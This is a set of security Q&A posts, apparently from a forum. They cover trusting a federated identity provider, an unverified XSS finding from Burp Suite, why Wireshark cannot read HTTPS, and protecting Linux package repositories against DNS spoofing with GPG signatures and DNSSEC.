At the moment I'm thinking I should also implement my own local check that the announced user matches a pattern to ensure the federated server isn't used to break into other domains' accounts and also implement 2FA to give some extra check that the user announced truly is that person

You have to indeed no technical way to verify that a federated identity provider actually verifies user identity on authentication (e.g by requesting username and password).
You may audit and test the provider. The provider should state how users are authenticated (e.g. username and password and a second factor in addition). You may be able to check that with an own user account at the federated provider.
Alternatively you could ensure that users from a federated provider do only get access to resources which are owned by the same party. It is then in their own interest to use proper authentication mechanisms.


XSS vulnerability through burp suite I am getting a XSS vulnerability through burp suite but when I inject script manually I don't get the XSS vulnerability.

Is this a reportable vulnerability?

If you can't verify the result of an automated tool, it is not a good idea to report it's findings.

Automated tools are great, but they have a problem with false positives.


Can Wireshark capture https request? I have been working in Wireshark. And I am able to capture http requests and capturing http packets using Wireshark. And now I am capturing https requests. It seems to not capture the packets and when I right click-> follow-->tcp stream It shows the unreadable characters. Can Wireshark capture https request?

Wireshark captures all traffic on a network interface. The thing with HTTPS is that it is application layer encryption. Wireshark is not able to decrypt the content of HTTPS. This is because HTTPS encrypts point to point between applications.

The idea here is that HTTPS traffic that travels over the Internet is confidential, a random router or person who happens to capture your packages cannot decrypt the HTTPS without the decryption key.

So bottomline: Wireshark cannot decrypt HTTPS traffic without the decryption key.

More info: https://wiki.wireshark.org/SSL


DNS spoofing of linux distribution repositories Question(s)
Is it possible to "redirect" linux-update-repos via DNS spoofing (e.g. DNS cache poisoning) to a malicious website, so that harmful software (updates) will be installed, when running the packet manager's update function (yum, apt-get, etc.)?
Or is that completely unrealistic, since those repos are very well protected via certificates, ssl, etc.?
Furthermore if possible, are there ways to protect yourself against something like that?
Background
I was considering to set up automated updates for my webserver, and (besides other problems that might arise from this) I was not sure if it is a good idea, since an attacker would have a pretty big time window. For example from 4 am til morning, in case of the default settings of yum-cron for example.

Yes it is possible to do a cache poisoning attack, and yes it is possible to protect yourself.

In addition to the rather standard practice of signing the package files with GPG, some distros use DNSSEC to protect the domains that serve those files against DNS spoofing.

Notice the 'ad' flag in the dns answer below:

$ dig +dnssec security.debian.org.

; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> +dnssec security.debian.org.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23375
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 9, AUTHORITY: 4, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;security.debian.org.           IN      A

;; ANSWER SECTION:
security.debian.org.    300     IN      A       212.211.132.250
security.debian.org.    300     IN      A       128.31.0.36
security.debian.org.    300     IN      A       128.61.240.73
security.debian.org.    300     IN      A       128.101.240.212
security.debian.org.    300     IN      A       149.20.20.6
security.debian.org.    300     IN      A       195.20.242.89
security.debian.org.    300     IN      A       200.17.202.197
security.debian.org.    300     IN      A       212.211.132.32
security.debian.org.    300     IN      RRSIG   A 8 3 300 20140827233402 20140728233402 28626 security.debian.org. AF84GPGaVSMwLsTWP0vVJpW6E9r7PL1Pi/LTxGXPUt5x1AxeW8UKJ+wh OiB6tPy91sBRA5GfNofq+P3AhsWt2JGSR/iiN9qq6p6ryU6G5gQeZbYY MYVGDzf3j2z+kUMbsB902L/fPeJzLDxyaJzHPLU8alzs+4bvvKfd4SeA +MyGrckpFkr0Csi2LtRKGA5hJPrxFcHOFeWsY+n/mjAxy8g6SSdYrKVZ 3kk5G9sR1kKSiyHwxFVaIQXR0j1skl9/

;; AUTHORITY SECTION:
security.debian.org.    28800   IN      NS      geo1.debian.org.
security.debian.org.    28800   IN      NS      geo2.debian.org.
security.debian.org.    28800   IN      NS      geo3.debian.org.
security.debian.org.    28800   IN      RRSIG   NS 8 3 28800 20140827233402 20140728233402 28626 security.debian.org. TpTt53QAgOwwH38oqkfbm4F07j78VthQCzcHezN+N0+fPu0vXiatFMAI 1CBAFkYj/rkYNfv+xhM7OfvNgWMcRoMn9v7UOtMdxUOsjO2lQCVdjMsx TRz9OITY/NZWVD0/hkNXvpBVbsFW+y0JRzEb0xegHdGYHS1A9PVwRlCT 2DJLgkL6mS+RrOfteEDZD80HZZiiQcDLf1CgG6K2s5wNUIwsAzZdFEWC XnCXAguK3PVusvvnHz1i09B9qducyd+8

;; Query time: 2370 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Jul 29 04:00:11 2014
;; MSG SIZE  rcvd: 719

By default, debian (and AFAIK most other distros) will require the GPG signature to match.

If you want to take advantage of the DNSSEC protection on the domains that serve the package files, run a validating caching nameserver locally, such as unbound or bind.